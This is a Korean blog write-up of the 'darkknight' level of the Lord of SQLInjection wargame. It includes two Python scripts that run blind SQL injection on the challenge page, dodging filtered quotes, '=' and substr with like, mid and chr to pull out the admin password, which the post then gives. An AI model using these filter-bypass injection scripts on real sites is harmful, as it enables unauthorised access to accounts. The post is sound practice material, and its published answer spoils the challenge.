article thumbnail image
Published 2021. 7. 17. 14:21

 

darkknight 입장!

위 사진은 darkknight 시작화면이다.

아래 php 소스코드에서 해당 문제를 해결하기 위한 조건을 찾아봤다. 

query로 얻어온 pw와 입력한 pw가 같아야 문제를 해결할 수 있다.

그런데 query를 잘 보면 id='admin'과 pw가 and로 묶여있는 것을 알 수 있다.

즉 query에서 얻어온 pw는 admin의 pw다.

GET방법으로 전달하는 pw가 admin의 pw와 같아야 하므로 우리는 admin의 pw를 알아내야 한다.

 

 

 

먼저 pw의 길이를 알아내야 한다. 아래 소스코드를 실행하면 pw의 길이를 구할 수 있다.

(no에서 싱글쿼터와 =을 필터링하고 있기 때문에 대체로 더블쿼터와 like를 사용)

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID" : "rd9nfr6ui35uh6o5mnqe7p30vg"}

length = 1
while True:
    query = '?no="" or id like "admin" and length(pw) like '+str(length)+'%23'
    result = requests.get(url+query, cookies=cookies)
    if ("Hello admin" in result.text):
        print("[*] Password Length :", length)
        break
    print(length)
    length+=1

pw의 길이는 8이다.

 

 

 

이제는 password를 구해야한다. 아래 소스코드를 실행하면 pw를 구할 수 있다.

(no에서 싱글쿼터와 substr, ascii, =를 필터링하고 있기 때문에 이를 우회하기 위해 대체로 더블쿼터, mid, chr, like를 사용)

(pw를 한 글자씩 가져와서 ch와 비교)

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID" : "rd9nfr6ui35uh6o5mnqe7p30vg"}
    
pw = ""

for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 64: continue
        if 91 <= ch <= 96: continue
        query='?no="" or id like "admin" and mid(pw,' + str(i) + ',1) like "' + chr(ch) + '"'
        result = requests.get(url+query, cookies=cookies)
        if("Hello admin" in result.text):
            pw += chr(ch)
            print("[+] Finding... :", pw)
            break
print("[*] Password :", pw)

admin의 pw는 0B70EA1F이다.

 

 

 

이제 이 pw를 GET방식으로 전달하기만 하면 된다.

해당 URL을 전달했을 때 CLEAR문구가 뜨지 않았다.

저번 레벨에서도 똑같은 이유로 문제를 해결할 수 없었다.

대문자를 소문자로 변경해서 다시 시도해봤다.

 

 

 

admin의 pw : 0b70ea1f

위 pw로 다시 시도해봤다.

darkknight 해결!

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[LOS] bugbear  (0) 2021.07.20
[natas] Level 21 -> Level 22  (0) 2021.07.20
[natas] Level 20 -> Level 21  (0) 2021.07.17
[LOS] golem  (0) 2021.07.11
[natas] Level 19 -> Level 20  (0) 2021.07.11
복사했습니다!